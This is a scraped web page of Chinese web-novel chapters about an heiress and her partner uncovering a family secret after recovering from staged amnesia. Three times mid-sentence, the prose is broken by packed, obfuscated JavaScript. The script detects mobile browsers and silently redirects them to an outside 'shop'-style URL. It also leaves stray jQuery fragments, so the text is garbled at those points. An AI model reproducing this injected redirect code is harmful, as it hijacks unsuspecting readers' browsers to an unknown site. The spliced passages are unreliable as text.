夫妻俩相视一眼,傅臣北语气笃定:“珺珺,你开了口,妈妈和爸爸怎么会不相信?你也不要有太大压力,不管结果怎样,都有我们给你兜底。” “我们都愿意相信你,你爷爷也一定会相信你的!”说这话时,傅臣北的视线已经落在老爷子身上。 傅珺瑶没跟着看过去,只接过吴阿姨递来的豆浆,抿了一口。 清甜的香气很快在舌尖蔓延,裹着几分柔和。 “刺啦”一声,红木凳在暗色的地板上擦出闷闷的声响,老爷子起身:“行了,你自己安排好时间,工作上的事,绝对不允许出问题!” 傅珺瑶点点头,语气平缓:“爷爷,您放心吧。” 老爷子深深地看了她一眼,转身,头也不回地走了。 别墅大门合上的那一刻,餐桌上的几人都松了口气。 傅臣北把剥好的鸡蛋递给李茗蕤,又拿了一个鸡蛋开始剥。 眸光轻瞥向傅珺瑶,不急不缓道:“珺珺,既然决定换一种方式留在恒璟,就大胆去做,不要再顾忌其他,你爷爷那边,还有我和你妈妈在。” 傅珺瑶一愣。 嘴里的豆浆半天才咽下去。 双神里瞬间攀升起难言的诧异。 “你爸爸说的没错。珺珺,这样也好,自从你奶奶去世之后,你也担了不少压力,眼下也是个机会,你也要多考虑考虑自己。”李茗蕤跟着附和。 傅珺瑶其实是没有预料到父母会说出这样一番话的。 可大脑储存的记忆慢慢给了她解答。 她想起过去,自己被压抑在爷爷的严厉之下,冒出的下意识和哥哥攀比的自己。 过去的她,总是想在更偏爱哥哥的爷爷面前出头,想证明给爷爷看,她不比哥哥差。 于是后来,哥哥出事之后,她真的在爷爷面前成了那个唯一的继承人。 但也是她成了那个唯一,她在爷爷面前变得更谨慎,因为她想要担起自己该尽的责任,也不想看到爷爷失望。 日复一日,她逐渐服从于爷爷的高期待、高威压。 考虑爷爷、考虑恒璟、考虑傅家。 她自己反而排到了后面。 李茗蕤和傅臣北曾找她谈过,让她不要太紧着自己,如果不满老爷子的管教,他们会去老爷子那里沟通。 可她拒绝了。 当初的她,更多的是抱有一种‘她凭什么不行’的顽抗心态,屈从于这种心态之下,反倒也压抑了自己的灵魂。 傅珺瑶突然笑了。 接过傅臣北给她剥的鸡蛋,说:“我明白,爸妈,我暂时还不需要帮忙,不过到时候如果不小心惹爷爷生气,我还是需要您二位帮帮我。” 说完,她朝夫妻俩挤出一个俏皮的笑。 李茗蕤也跟着笑出声。 傅臣北满意地点了点头:“咱们的女儿真的回来了,珺珺,爸爸还是那句话,你要做什么尽管去做,爷爷那边,妈妈和爸爸一定会给你兜底。” “不过你大伯的事你恐怕得多上点心,不要再刺激到你爷爷。”李茗蕤最后嘱咐了这么一句。 傅珺瑶重重点头:“我明白。” - 陪着爸妈吃完早餐,傅珺瑶回了二楼,径直走到最里侧的房间。 “咚咚咚” 她缓慢敲门。 “门没锁。”傅淮湛的声音很低。 傅珺瑶把吴阿姨准备的蓝莓三明治送到傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236275|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮湛跟前,据说这是他最喜欢吃的。 “我不吃早餐。”傅淮湛只看了一眼,没有要接的意思。 傅珺瑶瘪唇,一点气都不憋着:“哥,你别给脸不要。” 傅淮湛诧异地抬头,剑眉凛紧。 最后接过三明治。 傅珺瑶轻哼,拖开凳子,稳稳当当在他面前坐下。 “你……想起以前的事了么?”傅淮湛撕了一小块三明治下来,盯着夹心的蓝莓果酱好半天,才送进嘴。 傅珺瑶注意到他的动作,嗯了声。 斜眼,看到他桌上摆着的相框。 相框里是一个女人的背影,女人一身浅青色长裙,干净利落的短发堪堪到肩口。 傅珺瑶对这个女人的印象不多,但深刻。 那是个温柔又绝情的狠角色。 她收回视线,继续:“想起来了,想起来你的懦弱、你的逃避、你的不堪。” “……” 傅淮湛脸上有些挂不住,似乎没料到她会这样直接。 傅珺瑶像是没看到,接着补充:“还想起来,你把你该担的责任全丢给我,只为了你不堪一击的爱情。” “……” 两双眸子交汇,傅珺瑶平静地探到傅淮湛的闪躲,停顿片刻。 两分钟后,他还是没有要开口的意思。 傅珺瑶再次拿过话语主导权:“不过,也想起来,你无数次参与我人生的重要时刻,又在自己忙得不可开交的时候,去给我买我想吃的限定甜品。” 傅淮湛的目光重新移回来。 “你真的决定永远不回恒璟?”傅珺瑶先抛出这个问题。 傅淮湛拒绝得很干脆,几乎没有半分犹豫。 “那你就打算一直靠着自己那点老本买股?” 傅淮湛又撕了小块三明治送进嘴。 摇头:“我跟爷爷之间的矛盾太大了,而且我真的管不好恒璟。” “然后就这样一直闹下去?再等着一个不知道会不会回来的人?万一到时候人家回来了,你一事无成,那你更没机会了。” “……” 傅淮湛的眼神越来越心虚。 “你放心,我也不强迫你,后年张董恰好退休,位置空出来,我是想好好争取一下的,不过我的位置空出来,你是甘心让周董的纨绔儿子顶上呢,还是抓紧这个机会,重新回恒璟,给自己拿回一切的机会呢?” 傅淮湛稍稍错愕。 看似有选择的问题,实际只有唯一的答案。 归根结底,他们是傅家的人,牵在一根利益绳上。 “可是爷爷……”傅淮湛仍然犹疑。 “如果你每次都要怕这怕那,那就什么事都干不好,哪怕简箐都站在你面前,你也追不回人家。”傅珺瑶睨他一眼,稍微冷下来的语气牵起抹暗嘲。 “……” 恢复了记忆的傅珺瑶,完全知道傅淮湛的肺管子在哪里。 “不是我怕,珺珺,是爷爷他已经不相信我了。”傅淮湛剑眉下撇,从内而外散发着难以忽视的无奈。 “爷爷他一直都觉得,你比我更有天赋,他也一直更喜欢你、相信你。” 傅淮湛这句话出口,房间里大概沉默了有三分钟。 傅珺瑶双手上抬,抱在胸前。 微微蹙起的双眉下,漆黑的杏眸凛着光,隐隐往外散着冷意。 素净的脸存有的温和尽消,逐渐爬上让人忌惮的压迫感。 傅淮湛本能地颤了颤,手里的三明治险些掉下去。他就是再没眼力见,也知道她生气了。 却不懂她生气的点。 “天赋?”傅珺瑶轻哂出声。 “哥,哪怕到了现在,你也还是只有这一套说辞么?” 61. 06 傅淮湛心口一紧。 傅珺瑶毫不留情拆穿他:“所谓天赋,只不过是你用来束缚我的借口而已。你只是担心我离开恒璟、担心我不受爷爷的控制、担心最后需要你来承担这个责任。” 傅淮湛慢慢低下头去,一个音节都难发出来。 “其实你和爷爷本质上都一样,喜欢用自己的那一套来束缚我,是,你们的确是在为傅家考虑,可你们总需要我来承担你们压力下的痛苦,可傅家不是只有傅珺瑶,如果真要我完全按照你们的想法来,那应该把你们的钱和权也都给我。” 言语短暂停顿,又继续。 “你扪心自问,真的认可自己说的天赋么?咱们俩起点都差不多,甚至在爷爷眼里,你比我有天赋,可结果呢?你既然讨厌爷爷束缚你,那你也应该明白我不想受约束的心理,作为一个合格的哥哥,绝对不应该把自己不喜欢的那一套强加在亲妹妹身上。” 蓝莓三明治彻底脱离傅淮湛的手,掉落在他面前的床尾椅上。 指腹残留的碎屑被他慢慢捻落。 傅珺瑶不再继续,安静地等他开口。 宽敞明亮的房间里太阳光线越来越足,从光线里沁出来的热气甚至慢慢穿透玻璃窗,试图中和里头的凉气。 “珺珺。”傅淮湛的声音嘶哑,底气不足。 “是哥哥的问题,但是也请你理解我,我真的不想回恒璟,每每想到我要被爷爷监视、控制,我就没办法说服自己,况且恒璟现在不是我想回就能回的。” “只是说服你自己?你就一点不想着反抗?”傅珺瑶实在无语,换了个舒服的坐姿,抄起桌台的相框,把照片里的女人仔仔细细看过一遍。 也难怪简箐会走。 这种喜欢逃避的男人,还是赶紧甩掉的好。 “你不是不知道爷爷脾气有多可怕,而且我当初就是反抗失败的结果。” “可怕就不反抗了?举个例子,你身后现在是悬崖,只差一步就要掉下去,够可怕了吧?那你不反抗是等死么?” “……” 傅淮湛再次哑口无言。 “嗒”的一声,相框放回原位。 傅珺瑶起身,没什么耐心再继续废话。 “我就一个目的,你当我的预备役,后年回恒璟。爷爷那边,我不相信就完全是死局,你如果依旧怕这怕那,那我就只能采取强制措施了。” 傅淮湛猛然抬头,双神惊愕:“那你找我说这些……你为什么就非得要我回去?” “因为沟通的成本最低啊,谁知道跟你沟通也这么费劲?至于非得你,当然是不想让一个只会花天酒地的滥情废物当上恒璟的高管。” “……” 她这一趟失忆,又恢复记忆之后,言辞变得犀利太多,也不像以前那样‘听话’了。 傅淮湛想。 傅珺瑶抬腕看了眼时间,侧身,准备离开:“反正还有两年时间,够你考虑。而且你逼过我了,如果非让我逼你,我绝对不会手软。” “……” 傅珺瑶反手关门,又在门缝消失前,重新探头进来。 傅淮湛惊愣,双肩一抖。 傅珺瑶只扯出个幽冷的笑,语气平平:“三十多岁的老男人了,不吃早餐这种坏习惯该戒掉了,在你的价值还没完全释放之前,好好保住你的本钱,不过你要是不介意看着简箐再也看不上你,那就当我没说。” “……” 傅淮湛这一早上过后,肺管子已经四处漏风。 - 傅珺瑶到办公室的时候,两叠文件整整齐齐地摆在她桌上。 “傅总,启行、苏氏和林氏的详细背调都在这里。”一杯红茶牛乳跟着摆在跟前。 傅珺瑶稍扬下巴,轻轻嗯了声。 “和苏总见面的时间是下午三点,车已经备好。”聂秘书不忘提醒。 傅珺瑶想起来,是悦霁天地项目加固方案的事。 “知道。” 聂秘书出去后,桌上的资料在傅珺瑶手里慢慢翻页。 启行的资料她只大致翻过,失忆前,她就已经了解得不少了。 浮动的纸页骤然安分。 里面夹着一张照片。 傅珺瑶捻起照片一角,手臂缓缓上抬。 照片里的女人短发齐肩,白色的真丝v领衫简单低调,却由内散发着一股让人难以忽视的英气。 傅珺瑶仔细注视女人稍加修饰的眉眼,厉色外显的褐眸里却透着不易察觉的温柔。 这是……沈述白的姑姑。 沈千仪。 千仪。 这个名字果然很适合她。 傅珺瑶抿了抿唇,把照片放进抽屉的夹层收好,继续往后翻看。 从背调资料里也差不多能横向对比,启行的确远远优于苏氏和林氏。 发展起源、发展理念和发展历程,启行几乎都无可挑剔。 傅珺瑶轻轻叹了声气。 二十多年的错位,如果没有当年的事,恒璟和启行或许远比现在要发展得好。 傅珺瑶的指尖再次停顿。 双瞳狠狠缩紧。 抽出纸页里的另一张照片,动作有片刻的怔愣,又迅速拉开抽屉,被她收好的照片重新拿出来。 两张照片并排,傅珺瑶的目光左右交替,眉头越蹙越紧。 …… 下午三点,傅珺瑶准时到了和苏津南约好的茶厅。 “苏总。” 傅珺瑶稍稍颔首。 苏津南眸光轻轻一闪,收凛的嘴唇似乎有些发僵。 他不紧不慢扯出抹笑:“傅总,抱歉,路上堵车,晚到了些。” 傅珺瑶一双黑眸在他脸上停留两秒,不动声色地收回来。 摇头:“不要紧,您请坐。” 微凉的茶杯很快淌进滚热的茶水,热雾裹着茶香蔓延。 傅珺瑶这一次没有选择直入主题。 “苏总,这金骏眉味道很醇,我记得楚阿姨不是最喜欢金骏眉?我已经让他们备好了,您一定得收下。” 苏津南稍微怔忪,唇角又很快扬起弧度,从容又温和:“劳你费心了,我一定带到。” “傅总,听聂秘书提了一嘴,你是想追加加固方案?”苏津南抿了口茶,澄红的茶汤瞬间少了大半。 傅珺瑶点点头,拿出备好的协议。 语气不卑不亢:“您上次也说了愿意相信我,那我自然不能辜负您的信任。经过几次内部讨论,我们恒璟也商讨出了最优的解决办法,就是让我们的技术团队加入苏氏,不过您放心,我们只起到一个监督和加固的作用,其他触碰到核心机密的事,我们绝不参与。” 苏津南沉默,缓缓翻看她递来的协议。 傅珺瑶面前的茶雾已经消散,她垂眸,往嘴里送了口茶。 有些凉。 热气带走了红茶的醇厚,微微涩口。 她无声扯唇,重新抬眸:“其实能想出这个让我们互利共赢的办法,也是参考了我大伯当年的经验,苏伯伯,您和我大伯是那么多年的朋友,我想……您应该是最能理解我的人了。” 苏津南翻看的动作停了一瞬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243844|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又慢慢端起茶杯,晃荡的茶汤全部进肚。 他终于抬头。 微弯的眼角挤了几道皱纹,成熟却无厉色,只像揉皱的黄纸,有岁月的痕迹,却仍保持着柔和。 “是啊,可惜臣东走得太早,如果他还在,就好了。不过恒璟也亏得有淮湛和你,真是后生可畏啊。” 傅珺瑶双眸眯了眯,笑笑不语。 苏津南看完协议。 合上文件。 他又抿了口热茶。 醇和的嗓音平稳:“傅总,这份协议我心里有数了,不过咱们也不急于这一时半会,等我回去跟底下的人开会商讨过后,再给你满意的答复,如何?” 傅珺瑶嘴边的弧度加深,笑意却未触及眼底。 她嗓音低沉道:“当然,那我等您的答复。” 聂秘书把备好的金骏眉送到苏津南的车上,看着人离开才回到茶厅。 傅珺瑶品完了最后一口茶,盯着茶杯上印下的浅浅红痕,朝聂秘书递去一个意味深长的笑:“这茶……确实不错。” …… 沈述白在历经半个小时的软磨硬泡之后,终于说服王阿姨给他开了房门。 “述白,沈女士和老爷子如果知道是我放你出来,他们肯定会扣我工钱的。”王阿姨手里拿着钥匙,语气仍然担忧。 沈述白拍了拍她的肩,声音温和:“您放心,有我顶着呢,况且我也不出门,只是想给家里人做点吃的而已。” “您这会放心歇着吧。”沈述白再次给人下了定心丸。 王阿姨和门口的许管家交换一个眼神,最后还是没说什么。 沈述白确实没想过出去。 毕竟沈行之都说了,硬碰硬他是不会有好果子吃的。 况且……他已经想起来过去的所有事,也更明白家里人的品性。 他侧身,两条腿不紧不慢地挪移,往偏厅走。 最终停在那副遗像前。 黑白色调的遗像中,女人眉眼弯弯,齐肩的短发别在耳后,一身简单的白色T恤,干净又温柔。 沈千仪。 他的姑姑。 他对她的印象其实不深,姑姑去世时,他不过三四岁。 可他记得,以前常常从沈女士和老爷子嘴里听说,他长得很像沈千仪,一双褐眸简直和姑姑一模一样,就连脾气也差不多。 姑姑温柔又体贴,只不过偶尔也有些‘任性’,奶奶和爷爷对她虽然严厉,却也很宠她,基本上都由着她。 所以这一套也移续到了他的身上。 从小到大,他也是在这样的教育体系里长大的。 沈述白专注地看着她,褐眸愈发深沉。 良久,他轻轻叹了口气,嘴唇微动,却什么话都没说。 转身,进了厨房。 - 沈述白靠在料理台边等着烤箱里的小蛋糕成型时,沈女士和老爷子回来了。 厨房里的甜香往外蔓延,很难不引起他们的注意。 “王阿姨放你出来的?”老爷子稍许不满的声音比人先抵达厨房。 沈女士未发一言,缓步走过来,视线留在他身上。 沈述白的唇角慢慢弯起,语气似窗外还未落尽的夕阳,不灼不凉,带着恰好好处的温柔:“奶奶,爷爷,你们回来了?是我求着王阿姨一定要让我出来,我知道我自己做错了事情,所以想做些吃的给您二位赔罪。” 老爷子侧眸,等待沈女士的反应。 沈女士顺了顺胸前的衣衫,眼角叠起明显的皱褶,她沉声:“想起以前的事了?” 62. 07 沈述白面上神色不改,主动上前,揽住沈女士的肩。 语气明显讨好:“奶奶,我就知道我肯定瞒不过您,我的确想起以前的事了,所以等会您先吃完我很久没做给您吃的小蛋糕,再听我从头到尾把事情解释清楚,好吗?” 沈女士眼瞳轻轻转动,短暂静默,终于忍不住嗤哼道:“你呀,嘴皮子倒是越来越滑溜!” 沈述白唇边的弧度更深,往沈女士身边凑:“还不是奶奶教得好?还有爷爷,您二位的教诲我可一直记在心里呢!” “叮”的一声,烤箱恰合时宜地响起,蛋糕的甜香味更浓。 沈述白顺势拉着两位老人往餐厅走,又哄着两人坐下。 奶黄色的蛋糕胚上慢慢挤上备好的低脂奶油和新鲜水果,沈述白又是勺子又是餐巾的全都安排得妥妥当当。 “奶奶,您快尝尝,看味道有没有变?” 又转头:“爷爷,这是王阿姨今天下午买的新鲜青提,特地给您多放了几个。” 久违的美味重新送到面前,沈女士自然没心再去计较,老爷子脸上的厉色也褪去,原本要出口的话也暂时被吞了回去。 - 窗外的夕阳彻底不见踪影,夜色渐浓。 餐桌上只留下空荡荡的蛋糕碗。 沈行之、苏俪嫀和沈毅安都回来了。 几个人围在桌前面面相觑,除了沈女士和沈行之,剩下的三人脸上都带着些许讶色。 沈述白不急不缓,交代完所有的事。 “事情就是这样,不过还没什么证据,只有怀疑的方向。” “有方向就很好了,反正慢慢来嘛。”沈行之在一边搭腔,眸光不经意转向沈女士和老爷子。 沈女士神色沉敛,吃蛋糕时留下的惬意几乎扫荡而空。 她不开口,其他人也不说话。 沈述白和沈行之交换一个眼神,沈行之往侧边伸手,虚握住苏俪嫀的手。 “妈。”苏俪嫀声音低柔,似是温暖的清泉,轻易破开了屋子里沉凛的气氛。 “这样听上去,很多事情其实都能串起来的哦?” 苏俪嫀又搭上身旁丈夫的手。 沈毅安收到暗示,赶忙附和:“是啊妈,这也能解释白白为什么失踪,您不是一直想查清楚白白当初到底怎么出的事,想给他出口气吗?” “而且奶奶,这事也跟姑姑有关,我弟虽然错的不轻,但好歹错有错着,歪打正着了。”沈行之继续搭腔。 沈女士还是不说话。 双神冷幽幽的,一一扫过接连开口的人。 最后转回沈述白身上。 沈述白很快牵起抹柔和的笑,尽是讨好。 沈女士洞悉一切,收回目光,低哼一声。 “我还没说什么,你们一个个的倒是团结。” “妈,咱们本来就是一家人嘛,还不是这么多年受了您的熏陶?”苏俪嫀眯起眼,笑意明显。 沈女士心里门清,嘴边却还是扯出抹弧度。 她转头,瞥了眼沈述白,目光留在他那双褐眸上,语气软下来几分:“你爷爷打的那巴掌没打疼吧?” 沈述白微愣,旋即很快摇头,脸上的红印像是从没存在过一般:“不疼!一点都不疼!” 沈女士轻嗤,说:“既然事关你姑姑,你就必须付出百分之一万的心思。” “奶奶您放心,我不会让您失望的。”沈述白语气笃定。 说完,脸上的笑意几乎藏不住。 “你先别急着开心。”沈女士及时叫停:“你的手机和iPad我都还给你,不过,在你找到证据之前,不准跟傅家那姑娘联系,否则你就继续给我上交手机,再回你的房间待着去!” 沈述白乖乖嗯了声:“我都听您的。” - 晚餐之后,沈行之去了沈述白房间。 “发现什么了?”沈行之直言问。 沈述白瞥他一眼,动慢悠悠地从那叠文件里抽出一样东西。 “这是?”沈行之看着女人的照片,脸上挂着不解,明显没看出这里头的门道。 沈述白嘴角平撇,下颌慢慢绷紧,一贯温柔的褐眸中莫名多了几分冷冽。 “单看不明显,那放在一起呢?”沈述白把手机里保存了很久的一张照片递过去。 沈行之双瞳骤然紧缩。 沈述白冷静收回手机,解释:“所以当初我们选择主动失忆,是试验,也是试探。” 沈行之眉头紧拧,视线还在手里那张照片上收不回来。 短暂的沉默后,“啪”的一声,照片被拍在桌上,轻轻晃了两下,有掉落下来的趋势。 谁都没有要伸手去扶正的意思。 “你现在打算怎么弄?”沈行之蓦然开口。 “珺珺那边应该也有行动,我们要做的,是去查这之外的东西。”沈述白早有打算。 沈行之突然“嘶”了声,浑身一抖。 房间里沉肃的气氛瞬间被打破。 沈行之睨他眼:“你叫得也太亲热了,你怎么就知道她有行动?搞得你好像多懂她似的。” 沈述白理所当然:“你能找到的东西,她那就不可能找不到,况且她比我早恢复记忆,我知道的东西,她能不知道?” 沈行之连声咂舌,“你还是保守点吧,等我先跟她确认再说。” 沈述白耸耸肩:“不用,你如果担心你确认吧。明天我就回启行了,沈董,工作虽忙,但你记得帮我查消息。” “你自己一人不行?” “兵分两路不是更快?” 沈行之语噎,话语几次斟酌,正要出口。 沈述白又补充:“事成给你做草莓蛋糕。” “……” 从沈述白房间里出来,沈行之确实还没放心,盯着通讯录里的人,短暂犹豫,敲了条消息过去。 那头很快有了回复:【沈董,你落后了。】 “……” - 傅珺瑶是临睡前,收到沈述白发来的微信。 只有短短三个字。 【老地方。】 她没有回复,也没有退出,只盯着那三个字,看了很久。 最后点开他之前发过来的音频,畅畅快快地抱着他之前睡过的枕头,酣然入梦。 - 隔天,傅珺瑶和聂秘书出了趟外勤。 去了趟铭逸楼盘。 二楼的会议室内,销售经理正简单汇报这一季度的销售情况。 傅珺瑶背过身,站在偌大的玻璃窗前,目光直直地望着前方。 “傅总,咱们这一季度的销售额非常可观,不过也是受到现在房地产不景气的环境影响,还是略逊于去年这个时候。” 傅珺瑶身影未动,声音平静:“我知道了,横纵对比的结果你到时候具体写个报告出来,发到我邮箱。” “明白!” 傅珺瑶突然动了动。 侧头,聂秘书就站在她右侧。 “陈经理,带我们下去看看吧。” 陈经理也没有二话,客客气气点头:“您请。” 一楼大厅内,有几对夫妻正在看房。 铭逸楼盘的开发理念就是“温馨”,面向的主要销售群体正是年轻夫妇。 傅珺瑶不紧不慢扫过去,面色平和。 耳边静静听着销售员的介绍。 走到一半,她的脚步突然停下来,平静的脸上划过一抹讶色。 陈经理还没来得及开口,傅珺瑶便先出了声:“楚阿姨?这么巧啊?” 被她唤做‘楚阿姨’的人身形一颤,慢悠悠转头,一双褐眸轻轻缩起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅珺瑶端在手里的茶杯晃了晃。 澄红的茶汤微震,荡起涟漪,让人完全难以忽视。 傅珺瑶轻抿了口茶,才抬眸:“那都过去了。楚阿姨,您快尝尝这金骏眉,看是不是您喜欢的。” 楚茜嘴边的浅笑加深,重重点了点头。 “傅总,这是几套采光和楼层都比较好的房型,最小的137平,还有几套三百多平的。”聂秘书缓步上前,把iPad送到楚茜跟前。 楚茜很快摆手,放下餐具,迅速擦嘴:“不用那么大,一百多平就够了。” “楚阿姨,您不是喜欢大平层吗?这几套都是大平层。”傅珺瑶斜眸过去,提醒道。 楚茜脖颈轻缩,望着她,不好意思地笑笑:“不是我住,是我弟弟要买婚房,我是来替他看的。不用太大,三室两厅就够。” 傅珺瑶了然,沉吟片刻,又吩咐聂秘书重新选了几套合适的过来。 傅珺瑶一直留到楚茜离开。 房子楚茜没定下来,说是要回去再和弟弟商量商量。 “楚阿姨,您之后有任何需要尽管联系我,我帮您安排好。”傅珺瑶笑道。 又把人送到门口。 临上车前,楚茜突然拉着她的手拍了拍,声音柔和依旧:“珺珺,好好保重自己,万事小心。” 傅珺瑶的红唇始终保持平撇,眼珠左右转了转,默然几秒,弯唇笑笑,把人送上车:“您放心,路上注意安全。” 那辆黑色的宝马在烈日下逐渐驶远,汇聚成一个黑色的小点。 聂秘书终于上前,靠近傅珺瑶身侧,声音压低:“傅总,新闻上不是从来没报道过您失忆的事吗?而且…您有坠海吗?” 63. 08 傅珺瑶不发一言,只回头,下眼睑抬起些,平静的眸色中冒出一丝冷冽的笑意。 聂秘书眸光微闪,不再多语。 “回恒璟吧。”傅珺瑶瞟了眼檐外的烈阳,金灿灿的光线直射,漆黑的眸中也混入一丝光亮。 - 傅珺瑶回来没多久,收到了林逸深的消息。 【珺珺,晚上有空吗?我们很久没有一起吃过饭了。】 傅珺瑶想也没想,回复:【抱歉,最近比较忙,确实没时间,林总如果实在不想一个人吃饭,我也可以帮林总寻觅几个饭搭子。】 那头沉默很久。 最后发来:【不用,那你忙,咱们有空再约。】 傅珺瑶没再搭话。 把桌上的东西收拾好,看了眼时间,进休息室换了身休闲服,还是挑了最熟悉的那辆车钥匙,拿了手机下班。 她没回公寓,去了环湖公园。 熟悉的停车场内,她一眼锁定和她车型完全一样的黑色奔驰。 那串数字甚至快融进了记忆中枢,只看一眼,就能引起最本能的应激。 卸完妆的粉唇轻轻勾起,她只晃眼,便对上后视镜里喜色难掩的黑眸。 傅珺瑶迅速停好车,又对着车后镜顺了顺披散下来的长发,安心下车。 再踏上那条走了无数回的灰砖路,她回想起很多以前的事。 失忆前,她经常来这里。 晨跑、夜跑,散心、吃饭。 她跟他也不是失忆后才几次偶遇在这里。 早在失忆前,他们就在这里偶遇过。 那个时候,他在这里喂流浪狗,她在这里吃螺蛳粉。 傅珺瑶没忍住笑出声。 两条腿交替的速度越来越快,两边的樟树飞速往后移动,旁侧的行人一换再换。 傅珺瑶陡然停下来。 眼前已经没有樟树的遮挡,一片开阔。那人站在栈桥边,还未落尽的夕阳给他留了最后一丝余晖,又怂恿着即将失温的湖面荡出最后的金色波纹,陪着他一起等待。 傅珺瑶再次迈步,直勾勾地盯着他的右耳,直至那颗耳钉的细针越来越清晰。 那人似乎察觉到她,下巴突然一侧,整个身子紧接着转过来。 黑色耳钉和褐眸同时撞进她眼底。 近在咫尺的湖面不知道被谁扔了颗石子,“扑通”一声,石子坠入湖底,湖面却泛起一圈又一圈涟漪,在夕阳余晖的照耀下无处遁形。 傅珺瑶唇角有些压制不住的上扬。 耳根和脸颊隐隐发热,她却没急着开口。 他也不发一言。 两双眸子隔着不到两米的距离纠缠,最开始擦出的火星子接触了这公园里再充足不过的氧气,火势迅速膨大,抵达失控的边缘。 “你……” “你……” 两道声音同时撞进空气,随着夕阳一齐消失,也带走了难控的火花。 傅珺瑶话语哽在喉间两秒,轻颤着从嘴边泄出:“沈总出来得倒是挺快嘛,被关了两天又挨了一巴掌,好像只是小事哦?” 沈述白唇角上牵,温柔的笑意从眼底漫出:“傅总能坐稳位置半点不动摇,还能抽空和沈某一起看日落,好像也轻轻松松哦?” 傅珺瑶的胸腔里一团气膨胀起来,一个劲寻找出口,溢至嘴边,成了压不住声的嗤笑。 她下意识抬手捂唇,又迅速收手,乜斜他一眼:“学人精。” 他摇头,视线却一刻不离她:“我只学在乎的人。” 傅珺瑶“嘁”了声,目光躲避开他,往他左侧走,左手悄然捏两下耳垂,视线探向暗下来的湖面。 “沈述白,你说我们是不是注定就要经历洱南那一次意外?”她突然问了这么一句。 身侧的男人沉默许久,慢慢侧过身,语气稍微收敛,灌了几分热风都难扑散的冷冽:“如果一切真的是注定,那造成这份注定的人,也注定逃不脱。” 她垂在栈桥栏杆上的手收紧,眼角被风吹得有些疼,转头,对上褐眸,肩背一僵。 她头一回看到这样严肃的眸光,也才知道这里不仅仅只有温柔。 脑海中突然浮现被她收好的那张照片里的女人,那个女人也是这样一双褐眸。也想起,在全家福里见过的那个对她来说已经陌生的男人。 “我看到沈姑姑的照片了,不知道是不是失忆了一回,再看她,感觉很不一样,而且感觉…瞬间豁然开朗了。” 沈述白上前,缩近和她之间的距离。 天色完全暗下来,薄薄的月光倾泻而下,但不足以照亮他们。 他伸手,五指嵌进她的指缝,牢牢扣紧,微热的温度迅速往她掌心蔓延。 他低声道:“所以,这就是我们选择失忆的意义。” 傅珺瑶陷入沉默。 眼眸微弯,里头的柔光浸入月色,朦胧又迷人。 “珺珺。”他又唤。 “江云和江阔的存在从来不是荒唐,有了江云和江阔,我们才有现在。” 傅珺瑶眼角一酸。 手上的力道加重。 隔着一片昏暗,周遭的嘈杂仿佛瞬然消失,傅珺瑶只看得见他,也只听得见他。 酸意蔓延至鼻腔,也蔓延至心口。 她忽然转身,拉着他往支路的小树林走。 不需要任何迟疑,她轻易便能找准那里头的石墩,把人推过去坐稳,一个跨步,稳坐在他腿上。 “他们不荒唐,他们一点都不荒唐,那是我们的开始,是我们的过去,没有江云和江阔,就没有傅珺瑶和沈述白。” 傅珺瑶两只手捧着他的脸,额头抵着他的额头,鼻尖相对,气息混杂。 她扬起下巴,嘴唇在他唇上落下很轻一吻,补充:“还是那句话,我绝对不会抛下你。再等等,我们总有一天,会是光明正大地站在一起,任何人都不会反对,更不会引来非议。” 他没接话,只是从背后绕紧她的腰,扣住她的脖颈,仰头吻上去。 紧密交错的竹枝给这本就朦胧的黑夜添了层保护罩,挡住所有的暧昧和灼热。 四肢纠缠,唇舌纠缠,气息纠缠。 熟悉的方式,熟悉的姿势。 仿佛回到那个无忧无虑的海边,回到那个独属于他们的房间。 她张唇,他探入,没一会儿,他往后退,她本能的往前。你退我进、你追我逐。 傅珺瑶的手从他的下巴往后移,最后攀住他的肩背,双臂紧紧缠绕他的脖颈。闭着眼,只想吻的深一点、再深一点。 灼热的气息混入热风,吹拂得竹叶沙沙作响。 傅珺瑶突然被他咬了下舌尖。 “唔……” 双眸睁开,恰好落入那片沾染欲念的琥珀海。 她轻轻眯眼,到他身后的手又绕回来,摁在他的耳钉,两指收紧,用力捏住。 男人果然一颤。 傅珺瑶朝着他挑眉,藏匿在黑夜中的眸衅意难掩。 双唇分开时,粗重的喘息此起彼伏。傅珺瑶抵着他的额头,慢慢平复。 心跳声隔着腔壁和衣服相撞,傅珺瑶动了动唇,还很麻。 她的手挪到他的脸侧。 “你怎么还挨了一巴掌?”语气还带着暧昧过后的黏糊。 手掌很快被男人反扣,他解释:“我当时在开会,没能及时跟爷爷解释,他老人家应该是气急了。” 傅珺瑶直起身,一双眸子凑近他的脸,细细端详一番,松了口气,又问:“还疼么?” 沈述白鼻子拱了拱,如捣蒜般点头:“疼,你快给我吹吹。” 语气突然软下来,更显得刻意。 “……” 傅珺瑶反手按着他的脸:“你故意装呢。”< 